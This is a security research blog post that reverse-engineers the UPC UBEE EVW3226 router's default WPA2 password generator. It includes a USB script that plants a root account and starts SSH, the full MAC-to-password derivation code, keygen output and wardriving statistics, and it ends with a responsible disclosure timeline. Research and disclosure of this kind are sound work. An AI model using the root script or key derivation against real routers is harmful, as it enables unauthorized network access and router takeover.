TL;DR: We reversed default WPA2 password generation routine for UPC UBEE EVW3226 router.
This blog contains firmware analysis, reversing writeup, function statistical analysis and proof-of-concept password generator.


  1. Introduction
  2. Firmware Extraction
  3. Firmware Analysis
  4. Reversing part 2 (Profanity Analysis)
  5. Conclusion
  6. Wardriving
  7. Android Apps
  8. Sources
  9. Responsible Disclosure



This work was motivated by the work of Blasty. Several months ago he published the algorithm ( upc_keys.c ) generating candidate default WPA2 passwords for UPC WiFi routers using just SSID of the router. Vulnerable routers used just router ID to generate default WiFi password and WiFi SSID. Algorithm goes through all possible router serial IDs and if SSID matches, it prints out candidate WiFi passwords (cca 20).

To our surprise it worked pretty well in our city, where 6 out of 10 UPC WiFi around were vulnerable. But it didn’t work for newer router models and for my own. So we decide to look at this particular model if we were lucky to find the same vulnerability in it.

Our modem is UBEE EVW3226. As I don’t want to experiment on my own home router I bought one from the guy selling exactly the same model. There are guys who managed to get root access to the router by connecting to the UART interface of the router. I recommend going through this article: or

UBEE top

Lucky for us, we didn’t have to mess with the UART interface of the router even though I was looking forward to it. Just a day before I bought my UBEE router for experiments, Firefart published an article on how to get a root on the router just by inserting a USB drive with simple scripts.

Tl;dr: If USB drive has name EVW3226, shell script .auto on it gets executed with system privileges. With this script you start SSH server, connect prepared USB drive to the router and enjoy the root.

Firmware Extraction

With this I managed to dump the whole firmware on the mounted USB drive. The script we use to start SSH daemon and to dump the firmware is below. Note: for detailed instructions on preparing USB drive please refer to the original article.

if [ ! -e /etc/passwd.1 ]; then
	cp /etc/passwd /etc/passwd.1

    # dropbear_rsa_host_key has to be prepared on the USB drive 
    echo "admin:FvTuBQSax2MqI:0:0:admin,,,:/:/bin/sh" > /etc/passwd
    dropbear -r /var/tmp/disk/dropbear_rsa_host_key -p

    # Dump router FS to the drive as tar
    mkdir -p ${WHERE}
    tar -cvpf ${WHERE}/router-image-root.tar -X/var/tmp/disk/tar-exclude /

    ## dd all mounted file systems
    for i in 0 1 2 3 4 5 6 7 8 9 10; do echo "CurDisk: mtdblock$i"; dd if="/dev/mtdblock${i}"\
           of="${WHERE}/fw-${i}.bin" bs=1 conv=noerror; done
    for i in 0 1 2 3 4 5 6 7 8 9 10; do echo "CurDisk: mtd$i"; dd if="/dev/mtd${i}" \
           of="${WHERE}/fw-${i}b.bin" bs=1 conv=noerror; done

    # Make simple FS copy
    cd /
	mkdir -p $WHERE
	find /proc -type f | grep -v '/sys/' | grep -v '/net/' | grep -v '/kmsg' | \
       while read F ; do
   		echo "D: $D  F: $F WHERE: ${WHERE}$F"
   		test -d "$D" || mkdir -p $D && echo "DIR: $D"
   		test -f "${WHERE}$F" || cat $F > ${WHERE}$F
	cd "$DDIR"

This is actually very powerful and convenient attack vector. One comes with USB drive to the router, plugs it in and has a WPA2 password in seconds (all system configuration).

I’ve created a TAR of the whole filesystem plus raw binary images of the mounted file system. With SSH I could start to mess around with the router firmware.

Firstly, the quick review of mounted file systems:

# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock10 on /nvram type jffs2 (rw,relatime)
tmpfs on /fss type tmpfs (rw,relatime)
/dev/mtdblock6 on /fss/gw type squashfs (ro,relatime)
/dev/mtdblock7 on /fss/fss2 type squashfs (ro,relatime)
/dev/mtdblock9 on /fss/fss3 type squashfs (ro,relatime)
tmpfs on /etc type tmpfs (rw,relatime)
/dev/sda1 on /var/tmp/media/0AAA-0E65 type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=utf8,shortname=mixed,errors=remount-ro)

# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00020000 00010000 "U-Boot"
mtd1: 00010000 00010000 "env1"
mtd2: 00010000 00010000 "env2"
mtd3: 00b80000 00010000 "UBFI1"
mtd4: 001c191c 00010000 "Kernel"
mtd5: 00504c00 00010000 "RootFileSystem"
mtd6: 00377000 00010000 "FS1"
mtd7: 00440000 00010000 "FS2"
mtd8: 00b80000 00010000 "UBFI2"
mtd9: 00400000 00010000 "FS3"
mtd10: 00080000 00010000 "nvram"

Calling the cli command revealed firmware version

# cli

While USB was dumping the firmware I went for the target - WiFi password. In the process list ps -a I’ve found:

5681 admin     1924 S    hostapd -B /tmp/secath0

hostapd is clearly the daemon running WiFi. It has the password to the WiFi stored in its configuration. And clearly, there must be a binary/script that generates that configuration when user changes the password OR the router is factory reset.

The file secath0 stores the current WiFi configuration. I select only relevant lines for simplicity. The configuration file stated:



Great, we have SSID and PASSPHRASE stored here. Something must have generated this configuration file.

Firmware Analysis

For more experiments, we use router-image-root.tar, extract it on local file system to look around. With this we find interesting binaries that have something to do with secath0 file. Note this is naive approach, the thing you try first. Binaries might have been obfuscated so the strings won’t reveal anything. In this case, we were lucky.

find . -type f -exec grep -il 'secath0' {} \;

There are obviously 3 nice looking candidates to inspect further:, aimDaemon, setup.cgi. You can also find those attached to the article. Running strings at those files reveals a lot of interesting stuff. Even bizarre - more on that later.

Setup.cgi - it is the main script that handles changes in the router admin user interface (www, cgi). Lets look at it with IDA Pro. The function list got my attention:

Function table

Symbols were not removed, which makes analysis substantially easier (child play even). GWDB_UBEE_DEFAULT_SSID_SET looks promising. Function graph calling this looks like this:

Call graph

So sub_17CF0 could be some kind of factory reset / apply settings routine. Which indeed is, as function inspection shown. I recommend going through the whole routine to get impression how that works in detail. Basically, it sets MAC addresses, generates SSIDs, passwords, sets up the firewall and parental control, some settings are stored to /nvram/*.

sub_17CF0 intro

These chunks are particularly interesting to me:

Default Passphrase set Default SSID set

BTW just a side note, the programmer of this router is probably the kind of guy who presses CTRL+C multiple times when copying something, just to be sure it really did copy to clipboard:

Sync Sync Sync

So GenUPCDefaultPassPhrase is our target. This one is not directly in the setup.cgi file but it is an imported function. Simple search gives where else this symbol is mentioned:

find . -type f -exec grep -il 'GenUPCDefaultPassPhrase' {} \;

The file also has symbols in it. Finding the generation function and reversing it was quite simple. I had quite funny moments when reversing the function so I recommend to go through it. I minimize the level of boring details. Attached assembly snippets are just for illustrative purposes, no need to study it in depth…


The GenUPCDefaultPassPhrase function intro looks like this:


Function intro

The function does some initialization in the beginning, local variable setting and so on. A few instructions later, it reads a file /nvram/1/1.

NVRAM read

NVRAM read

Depending on the mode input parameter (binary flag determining band, 2.4 or 5 GHz), it reads 6 bytes, either from offset 0x20 or 0x32 from the beginning of the file /nvram/1/1. 6 bytes suggests it is MAC address of the device. You don’t have to be genius to guess that, look at the function j_increaseMACAddress - which increments MAC address by 1. Luckily, this is the only input the function takes to generate WPA2 passwords! It means one can generate the exact password, without need to guess the candidate ones (as Blasty found for another model).

We later discovered the MAC address used as function input is not exactly the BSSID (= MAC of the WiFi interface). For 2.4GHz network it is numerically smaller by 3. So if BSSID ends on 0xf9, the MAC used for computation is 0xf6 for 2.4GHz network.

Actually when you do hexdump -C nvram/1/1,
you can spot something that resembles a MAC address on positions 0x20 and 0x32 . Actually the first 3-5 bytes are same as MACs printed on the label on the router.

Increase MAC

MAC input

The MAC address is then plugged to the weird looking magic string. It does:

sprintf(buff1, "%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345",
  mac[0], mac[1],
  mac[2], mac[3],
  mac[4], mac[5]);

It seems like there is a MAC used to derive multiple different outputs (SSID, PASSPHRASE) in the code, so to differentiate it for different uses, a different suffix is added to it. In fact, converted to ASCII it says UPCDEAULTPASSPHRASE.

sprintf Magic string

Sprintf magic string

This resulting string got MD5 hashed:

hashing 01

MD5 Hashing

Just in case the hashed string had too much entropy, guys decided to do another sprintf, but cutting it down using 3 bytes of entropy at maximum (buff2 contains the MD5 hash):

sprintf(buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
  buff2[0]&0xF, buff2[1]&0xF,
  buff2[2]&0xF, buff2[3]&0xF,
  buff2[4]&0xF, buff2[5]&0xF);



When adding more hashing harmed somebody… So hash it again, so it is really secure:

hashing 02

MD5 hashing

Later things got interesting as well. The following function is doing modulo 0x1a = 26. That is the length of English alphabet. Somebody is trying to beat [A-Z]{8} string out of it - which is good for us as UPC password is exactly of this format.

So far the WPA2 default password derivation function is basically like this:

sprintf(buff1, "%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345",
  mac[0], mac[1],
  mac[2], mac[3],
  mac[4], mac[5]);

// 2. MD5 hash the string
MD5_Update(&ctx, buff1, strlen((char*)buff1)+1);
MD5_Final(buff2, &ctx);

// 3. Take 3B of the result, build a new string
sprintf(buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
  buff2[0]&0xF, buff2[1]&0xF,
  buff2[2]&0xF, buff2[3]&0xF,
  buff2[4]&0xF, buff2[5]&0xF);

// 4. MD5 hash the string
MD5_Update(&ctx, buff3, strlen((char*)buff3)+1);
MD5_Final(hash_buff, &ctx);

// 5. Projection to 26char alphabet
sprintf(passwd, "%c%c%c%c%c%c%c%c",
        0x41u + ((hash_buff[0]+hash_buff[8]) % 0x1Au),
        0x41u + ((hash_buff[1]+hash_buff[9]) % 0x1Au),
        0x41u + ((hash_buff[2]+hash_buff[10]) % 0x1Au),
        0x41u + ((hash_buff[3]+hash_buff[11]) % 0x1Au),
        0x41u + ((hash_buff[4]+hash_buff[12]) % 0x1Au),
        0x41u + ((hash_buff[5]+hash_buff[13]) % 0x1Au),
        0x41u + ((hash_buff[6]+hash_buff[14]) % 0x1Au),
        0x41u + ((hash_buff[7]+hash_buff[15]) % 0x1Au));

Statistical analysis

The way the projection to 26 character alphabet ( last sprintf ) is made is interesting, let’s stop here a bit. The programmer does byte addition here, modulo 26. On the first reading this might seem weird, why didn’t he just do

0x41u + (hash_buff[0] % 0x1Au) // PAlt1


0x41u + ((hash_buff[0]^hash_buff[8]) % 0x1Au) // PAlt2

Technical note: input bytes come from MD5 cryptographic hash function so basically we can assume the distribution on these MD5 output bytes is uniform assuming the MD5 input is non-random/non-repeating.

The choice of addition is very clever because the output distribution on the alphabet is almost uniform. The naive approaches of mentioned projections PAlt1, PAlt2 seemingly give non-uniform distribution for \( \{22, 23, 24, 25 \} \) as \( 255 \; \% \; 26 = 21 \) as the following histograms illustrate:

A plus B mod 26

A xor B mod 26

For the sake of this statistical analysis we analyzed \( 2^{24} \) passwords generated by going through all MAC addresses with 3B static prefix 64:7c:34 = UBEE vendor prefix. The measured distribution of [A-Z] characters on generated passwords is depicted in the following histogram.

Alphabet distribution

There is a peak around V very similar to the distribution generated by \( (A + B)\; \% \; 26 \). In order to check how good the function is (i.e., how random) and to verify the hypothesis about the peak we perform a simple statistical test on distribution of the characters over passwords.

The following table shows the alphabet character counts on computed password sample. Each character is counted with respect to particular position of occurrence in password and in total (summed over all positions).

Char 1 pos 2 pos 3 pos 4 pos 5 pos 6 pos 7 pos 8 pos Total
A 644778 644428 646398 644673 645774 645233 644624 645889 5161797
B 645030 644096 644019 644545 647749 645814 645146 644128 5160527
C 645417 646058 645627 644519 645682 645301 645349 645314 5163267
D 643115 645817 644916 644761 647198 646917 644382 645460 5162566
E 645279 645777 645389 642635 643562 645356 645430 645053 5158481
F 645155 644792 644251 646556 645273 643350 644826 644891 5159094
G 645048 643635 644765 645550 646089 645319 644699 645304 5160409
H 647690 645077 646506 645264 643111 646623 644634 646248 5165153
I 645447 643738 644156 646231 643799 643904 646028 645191 5158494
J 646173 647567 644446 646871 643707 643784 644831 645184 5162563
K 646081 644194 645332 645956 643045 645426 645604 644482 5160120
L 646300 647688 643770 647416 647079 643306 646640 644420 5166619
M 645722 644721 645900 646626 642120 647041 644419 645598 5162147
N 643346 642926 647641 645527 645881 646807 644758 645506 5162392
O 644288 647278 643665 643211 643123 644586 643429 645178 5154758
P 645725 644212 645598 644131 645169 643481 644561 645659 5158536
Q 646319 645548 645540 644635 646609 645556 646083 644238 5164528
R 646186 646918 646082 645293 644315 644532 643100 645163 5161589
S 645031 644356 644010 646061 644305 645367 646671 645296 5161097
T 644615 645493 646729 643215 646369 646701 646930 645168 5165220
U 645821 643468 646697 648493 645028 644295 646569 646925 5167296
V 645032 646976 646428 646303 646255 646786 646234 644715 5168729
W 644853 646818 645351 647347 648049 643937 645605 646118 5168078
X 644808 645319 645935 642205 647130 646064 644734 645271 5161466
Y 643755 646243 644738 644890 644328 646601 644214 645187 5159956
Z 646202 644073 643327 644302 646467 645129 647716 645630 5162846

We see that the number of occurrences is pretty much balanced around a mean value 645277. There are also values that are more or less distant from this mean. The question is whether this balance is just a statistical fluctuation or it is really a significant bias from the distribution we expect.

With hypothesis testing framework we can say whether this bias is statistically significant or not. The null hypothesis we are going to test against is \( H_0: \) the distribution of characters from the alphabet is uniform over characters. The alternative hypothesis is the distribution is not uniform. If our test rejects null hypothesis we know there is a bias. If we cannot reject the null hypothesis, we assume it still holds, but it does not mean the hypothesis is proven.

Without loss of generality, consider the first character position of the password. We want to test whether character A has expected probability of appearance. Expected probability is \( {1}/{26} \). We have \( 2^{24} \) samples from the distribution on the first character.

There are several ways of testing the uniformity of a random number generator. For more complex methods please refer to [1] or [2]. We are going to use a simple method, to demonstrate the approach.

Assuming \( H_0 \) holds the distribution follows Binomial Distribution where number of trials \(n = 2^{24} \), probability of success \( p = 1/26 \) (success is if character A is generated). The expected number of success events is then \( np = 2^{24} / 26 = 645277.54 \). Moreover, from the Central Limit Theorem this distribution can be approximated with Normal distribution as the number of samples is big enough, thus it is a good approximation.

Basic of hypothesis testing is very well explained in this article. We define \( \alpha = 0.01 \) so the level of confidence the null hypothesis is false is 99%.

Under assumption of null hypothesis the distribution of A characters on the first character should follow Normal Distribution with given mean. With 99% confidence level we can reject the null hypothesis if observed probability lies outside 99% of the area of the normal curve, it approximately corresponds to distance 2.58 standard deviations from mean:

Normal curve

Normal curve

Note: The distance from the mean in terms of standard deviations is called Z-score.

We performed the hypothesis testing for each character on each position and on overall statistics. Hypothesis about uniformity on given character on given password position is rejected with 99% confidence level if the cell is dark red, 95% confidence if the cell is bright red.

Hypothesis rejection - uniform

From the table above we see there are biases on both particular positions and in total. For example, character W is biased on password positions 4 and 5 and in overall statistics (pos 1-8). On contrary we cannot reject null hypothesis for character A.

It would not be fair to test uniformity hypothesis as the output transformation on the password (last sprintf, step 5) has a slight bias. Example:

Char Uniform distribution Real distribution
O \( \frac{1}{26} = 0.03846 \) \( \frac{2520}{65536} = 0.03845 \)
V \( \frac{1}{26} = 0.03846 \) \( \frac{2524}{65536} = 0.03851 \)

When we change null hypothesis so the expected character distribution is not uniform but distribution generated by function \( (A + B)\; \% \; 26 \) we get:

Hypothesis rejection - alphabet

When taking generator biases into account we now see that null hypothesis cannot be rejected for V, W while in the previous test we rejected it. The only one character the null hypothesis we can reject for in overall statistics is O.

Interestingly, if we would use second sprintf function in step 3 in a slightly more reasonable way:

// old function - broken, low entropy...
sprintf((char*)buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
    buff2[0]&0xF, buff2[1]&0xF,
    buff2[2]&0xF, buff2[3]&0xF,
    buff2[4]&0xF, buff2[5]&0xF);

// Instead of that do this
sprintf((char*)buff3, "%.02X%.02X%.02X%.02X%.02X%.02X",
    buff2[0], buff2[1],
    buff2[2], buff2[3],
    buff2[4], buff2[5]);

We would obtain the following table for hypothesis rejection:

Hypothesis rejection - entropy

We see this function has better statistical properties. But note it is still not optimal as we are throwing out the majority of the MD5 output. We can do it even better.

Last we analyze the function that completely skips steps 3 & 4, so it performs only one MD5 hashing.

Hypothesis rejection - one hash

From the results we conclude that from mathematical/statistical point of view the simpler function has significantly better statistical properties compared to function with some “obfuscation” steps. MD5 itself is quite good crypto hash function thus I cannot see any benefit from step 3, 4 in the original password function. Authors maybe tried to make it hard to guess derivation function or relation of MAC address to default password so they added this additional step. If this is the case, it is implemented in the wrong way and pretty much without desired effect. Unless authors had some other design goals that we are not aware of.

Reversing part 2

So I went through the analysis and the next thing completely blew my mind:

Profanity check

You cannot miss the “cocks” right in front of you. So there is a profanities_ptr which points to the database of rude words…

Profanity analysis

From curiosity I went through the database. Here is the small sample:

Profanity hex sample

So the UPC default password generation does apply some obscure hashing function, generates [A-Z]{8} string from it and then checks if by any chance some of the rude words is not a substring of the generated password. Of course, this is a production problem, who wants to deal with an angry customer calling your help desk complaining the default password on his router is MILFPIMP or ANALBLOW, right?

In case the generated password contains this profanity in it, UBEE engineers added a special, non-insulting alphabet for help. The alphabet is visible in the beginning of the analyzed function: BBCDFFGHJJKLMNPQRSTVVWXYZZ, the classic one with almost all vowels removed. I did a quick search and truly, there cannot be made a rude word from UBEE profanity database with this alphabet.

The weird thing about profanity database is there are some of the entries present multiple times, with varying case. I was wondering why somebody didn’t convert it all to uppercase and removed duplicates at the first place. Instead of that, UBEE router converts it to uppercase and goes through them incrementally when generating a random password. Useless CPU cycles… (how many CO emissions could have been saved generating it wisely?). Another thing, the database contains a word “PROSTITUTE” which is made of 10 characters, but there is no chance the password would match this.

Another optimization would be to remove profanities that are substrings of other profanities. E.g., “COCK”, “COCKS”, “COCKY”, “ACOCK”. Basically this is the whole WPA2 password generation routine.

So to have a bit more fun, we generated a SQLite database for all MAC addresses starting on 64:7c:34 = UBEE vendor prefix, what is \( 2^{24} \) = 16777216 passwords. This is quite a number so the profanity detection was optimized by building Aho-Corasick search automaton, initialized with all profanities from the UBEE database (very rude automaton indeed). If the profanity was detected as a substring, we also generated a new password from non-insulting alphabet.

From 16777216 passwords in total, 32105 contained at least one profanity in it, in particular it happened in 0.19% cases. Thus in 1000 generated password there are almost 2 containing a profanity. It is more than I intuitively expected.

Table of profanity occurrences with respect to length:

# of characters Profanity occurrences
3 23090
4 6014
5 3001

There were just 4 distinct 3 character profanities. The histogram:

Profanity size 3

4 character profanity distribution (33 distinct):

Word Occurences Word Occurences Word Occurences
BUTT 233 HOLE 191 MILF 172
BLOW 209 HATE 190 CUNT 166
AIDS 205 DUMB 189 SMUT 166
DIRT 205 SHIT 189 PORN 165
SEAM 203 FUCK 183 SUCK 165
SLUT 201 LICK 181 DOPE 162
JAIL 196 DICK 178 ANAL 161
COON 195 ABBO 177 PISS 160
GIMP 194 BALL 177 HEAD 155
BOYS 192 CRAP 177 COCK 154
TITS 192 TURD 177 PIMP 154

Profanity size 4

5 character profanity distribution (including only the most popular ones, in total 517 distinct):

Word Occurences Word Occurences

Profanity size 5

Thats all from the profanity analysis of the password function. We also wanted to test hypothesis whether this particular function generates more profanities (from UBEE database) than random function would. In that case it would be rude-password-function. But due to time constraints we leave this to our readers.


We managed to reverse engineer both the default WiFi WPA2 password generator function and default SSID generator functions from router UBEE EVW3226. It works for WiFi networks with SSID of the form UPC1234567 (7 digits).

The only input of the functions is the MAC address of the device. This MAC address does not exactly match BSSID, but is slightly shifted. The shift is constant for all routers with this firmware. Moreover the shift depends on mode which is a binary flag saying the computation is made for 2.45GHz or 5GHz WiFi mode.

The exact value of the shift does not matter that much as the computation for one single MAC address is very fast and both SSID and WPA2 password generator uses the same mechanism to generate input MAC used in computation (same function inputs).

Thus if we take WiFi BSSID and compute mapping \( M = \{ \) SSID \( \rightarrow \) WPA2 \( \} \) for \( \pm \) 10 MAC around BSSID we can then surely find observed SSID in \( M \) and corresponding default WPA2 password.

We experimentally determined the shifts used. We observed BSSID is same for 2.4 GHz and 5 GHz networks, it does not get changed by changing the frequency. Furthermore, WiFi BSSID corresponds to MTA MAC address (printed on the router label) + 3. Table below illustrates how BSSID and function input MAC address relates:

Band BSSID Function input MAC Offset SSID Password
2.4 GHz 64:7c:34:12:34:56 64:7c:34:12:34:53 -3 UPC2659797 IVGDQAMI
5.0 GHz 64:7c:34:12:34:56 64:7c:34:12:34:55 -1 UPC2870546 PXKRLPCC

This is how router label looks like for our example: UBEE label

Our proof-of-concept generates the following output after entering the last 3 bytes of BSSID. Password for 2.4GHz and 5.0GHz network is highlighted, others are printed just for illustration.

./ubee_keys 123456

 upc_ubee_keys // WPA2 passphrase recovery tool for UPC%07d UBEE EVW3226 devices 
by ph4r05, miroc

  your-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS

  near-BSSID: 647C34123451, SSID: UPC0595666, PASS: NRFJHXDX 
  near-BSSID: 647C34123452, SSID: UPC5434630, PASS: UTVBNYJP 
  near-BSSID: 647C34123453, SSID: UPC2659797, PASS: IVGDQAMI  <-- 2.4 Ghz
  near-BSSID: 647C34123454, SSID: UPC2152244, PASS: ZVESFKYD 
  near-BSSID: 647C34123455, SSID: UPC2870546, PASS: PXKRLPCC  <-- 5.0 GHz
  near-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS 
  near-BSSID: 647C34123457, SSID: UPC8366197, PASS: CIIMMAYX

Or try our online service which uses pre-generated password database to lookup passwords matching given SSID.

Concluding this attack, any user of UBEE EVW3226 with affected router version should stop using this modem, change it for different one or configure properly. Our attack combined with this Security Advisory can lead to complete take over of the router. Attacker can install malware to the router, spy on your traffic, attack another nodes in network or build botnet from the routers.

Our UBEE password generator combined with generator from Blasty can crack majority of UPC networks with SSID UPC1234567 (7 digits).


And now the funny part. To face our results with the reality, we did a small wardriving test. To those who do not know the term, it is an act of searching for available WiFi networks in a specific area, usually from a car.

We are based in Brno, which is the second largest city of the Czech Republic. It has population about 400 000 people, lots of them concentrated in city blocks where people are living in tower buildings built during the communist era (known as “panelaky”). This proved to be a good target since there are plenty of WiFis to be caught.

Our setup was simple - Linux laptop having external WiFi card (TP-LINK TL-WN722N) with Kismet and Motorola Moto G Android phone with WiGLE Wifi application. Long story short - surprisingly the Android phone did a better job and found twice as many networks as the elaborate PC setup. Therefore the further data is mostly from the Android device.

Wardriving setup

Wardriving map

We did a 3 hours long drive from which the main results are:

  • We caught 17 516 unique networks (unique BSSIDs).
  • 2834 were networks with SSID matching ^UPC[0-9]{6,9}$ regular expression, these are WLANs possibly vulnerable to the both attacks combined.
  • 443 of them are having BSSID 64:7c:34 prefix, these are UPC UBEE devices possibly vulnerable to our new attack (to confirm that, we generated SSIDs from the BSSIDs using our method and compared them with the real SSIDs - all of them matched). Estimately 15.6% of all UPC routers are the new UPC UBEE routers.
  • There were additional 97 networks having BSSID 64:7c:34 prefix, but not matching UPC SSID naming convention. Administrators of these WLANs had changed SSID and most likely also default passwords. It’s about 18% of all UBC UBEE routers.
  • In summary, UPC is fairly widespread here in Brno, having an estimated market share about 16.73%. We are possibly able to crack every 6th WiFI network, considering users do not change their default passwords very often.

The test was done in February 2016, but we still expect a lot of UPC routers with default credentials to be out there.

There is a great project, mapping WiFi networks in the Czech Republic. Author of the project was so kind to provide current WiFi database for testing.

With help of we were able to make more accurate statistics on vulnerable networks in Czech Republic.

Statistic (col) 1970-2016 2014-2016 2015-2016 2016
# of records 2 198 086 1 058 797 763 430 340 409
^UPC[0-9]{6,9} 82 658 (3.76%) 62 247 (5.88%) 49 010 (6.42%) 22 324 (6.56%)
^UPC[0-9]{6} 35 895 17 221 11 480 4 707
^UPC[0-9]{7} 43 147 41 422 33 965 14 856
^UPC[0-9]{8} 8 8 5 2
^UPC[0-9]{9} 3 608 3 596 3 560 2 759
UBEE prefix 9 271 9 268 9 036 4 809
UBEE changed SSID 1 572 (16.97%) 1 571 (16.95%) 1 479 (16.37%) 743 (15.45%)
UBEE vulnerable 7 689 7 687 7 549 4 061
UBEE 2.4 GHz 7 675 7 673 7 535 4 056
UBEE 5.0 GHz 14 14 14 5
UBEE no-match SSID 10 10 8 5

We took different time periods from the database because the affected router appeared on the market mainly in 2015 and to demonstrate how situation progressed over time. For example in 2016:

  • There are 22 324 (6.56%) UPC WiFi networks.
  • In total, there are 4 809 UBEE devices (both with UPC name and with changed SSID).
  • 743 UBEE devices have different SSID - user probably changed it (15.45%).
  • Our algorithm worked for 4 061 UBEE devices with UPC SSID (99.88%).
  • 5 UBEE devices with UPC SSID did not match our SSID prediction (0.12%). The reason: 4 of them have 6 digits and 1 has 8 digits in SSID.
  • 5 UBEE devices with UPC SSID that matched had MAC offset -1, thus it was working in 5GHz band.
  • 2 759 UPC devices had UPC123456789 (9 digits) SSID. As far as we know, Blasty’s and UBEE generator does not work for these (same for 6 and 8 digits).

Other prefixes

Using database we tested this hypothesis: is SSID generator working also for other MAC addresses, besides those starting with UBEE prefix 64:7c:34 ?

The answer is NO. We re-implemented SSID generation routine in Python, run it for all UPC WiFi records in the database and only MAC addresses starting with 64:7c:34 prefix are vulnerable to this attack.

Here is the table of top 10 most used MAC prefixes for UPC WiFi SSIDs in dataset for 2016 group. In our manual testing we haven’t found WiFi that would resist attack of Blasty and our algorithm combined. We thus assume the combined approach works on majority of UPC WiFis matching regex ^UPC[0-9]{7} (7 digits). This assumption is supported also by our Android apps users reviews.

MAC prefix Vendor Occurrences Blasty works UBEE works
88:f7:c7 Technicolor 4684 Probably yes No
64:7c:34 Ubee 4066 No Yes
e8:40:f2 Pegatron 2541 Probably no No
c4:27:95 Technicolor 2244 Probably yes No
58:23:8c Technicolor 1995 Probably yes No
44:32:c8 Technicolor 904 Probably yes No
70:54:d2 Pegatron 834 Probably no No
34:7a:60 Arsis 732 Probably no No
38:60:77 Pegatron 664 Probably no No
a0:c5:62 Arsis 587 Probably no No
Rest - 3073 Unknown No

Top 10 MAC prefixes for UPC SSIDs. was used to resolve MAC prefix to the vendor name.

MAC prefix 6 digits 7 digits 8 digits 9 digits
88:f7:c7 2 4682 0 0
64:7c:34 2 4063 1 0
e8:40:f2 2541 0 0 0
c4:27:95 0 2244 0 0
58:23:8c 0 1995 0 0
44:32:c8 0 904 0 0
70:54:d2 834 0 0 0
34:7a:60 0 0 0 732
38:60:77 664 0 0 0
a0:c5:62 0 0 0 587

MAC prefix with respect to the number of digits in the UPC SSID.

The UPC SSID digit distribution:

  • 6 digits: Pegatron
  • 7 digits: UBEE, Technicolor
  • 8 digits: anomaly (units)
  • 9 digits: Arsis

As you can see, prefix e8:40:f2 is used only with 6 digits SSIDs, these router types are probably not affected nor by Blasty generator, neither by UBEE generator (Pegatron router). On the other hand others in TOP 10 list (UBEE, Technicolor) with 7 digits SSID are affected with high probability.

If you happen to try Blasty attack on devices with these prefixes please report us the state to our e-mail (page footer), we will update statistics. Thanks a lot!

Android Apps


To enable users to test their default UPC WiFi keys from their Android phones, we added support to RouterKeygen (sources) application for our algorithm (and to Blasty’s algorithm as well). RouterKeygen scans nearby WiFi networks, detects any UPC routers and automatically generates and tests candidate keys.

RouterKeygen Yolosec

UPC Keygen

UPC Keygen (sources) is a lightweight alternative for RouterKeygen that requires no Android permissions. It allows users to manually enter UPC SSID and calculate candidate keys using Blasty’s original algorithm. UBEE algorithm is computed for manual BSSID entry. For now we do not support generating UBEE from SSID as it would require \( 2 \times 2^{24} \) MD5 evaluations (slow).

RouterKeygen Yolosec

Both applications are available at the Google Play Store here and here.


Responsible Disclosure

  • 27. Jan 2016: Start of the analysis.
  • 04. Feb 2016: Official disclosure to Liberty Global.
  • 04. May 2016: Check with Liberty Global on state of the fix.
  • 28. Jun 2016: Sending this article for review to Liberty Global.
  • 04. Jul 2016: Publication of this article.

UPC solution

Currently, devices are still vulnerable (11-Jul-2016). Liberty Global (UPC) confirmed they are working on the fix. Allegedly, it will be in a form of a firmware upgrade pushed to all routers automatically. After upgrade, router will redirect user to the “captive portal” (behaviour similar to hotel/airport WiFis on the first connect) asking user to change the default password.